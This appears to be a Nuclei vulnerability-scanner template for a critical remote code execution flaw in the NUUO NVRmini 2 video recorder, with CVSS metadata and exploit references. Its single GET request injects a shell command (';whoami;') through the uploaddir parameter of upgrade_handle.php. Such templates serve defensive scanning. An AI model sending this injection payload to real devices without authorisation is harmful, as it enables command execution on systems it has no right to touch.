id: nuuo-nvrmini2-rce

info:
  name: NUUO NVRmini 2 3.0.8 - Remote Code Execution
  author: berkdusunur
  severity: critical
  description: |
    NUUO NVRmini 2 3.0.8 is susceptible to remote code execution.
  reference:
    - https://www.exploit-db.com/exploits/45070
    - https://github.com/berkdsnr/NUUO-NVRMINI-RCE
    - https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: rce,nuuo,nvrmini,edb,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/upload_tmp_dir/"

      - type: status
        status:
          - 200
# digest: 490a0046304402200480511307cff359ae0acc10207c4e26a77f6241c4fab5d53c0923846b9abe7a02204de342af6ca37d6e2c3a974e49605973f140deec5b4893ab7e7875b614072a30:922c64590222798bb761d5b6d8e72950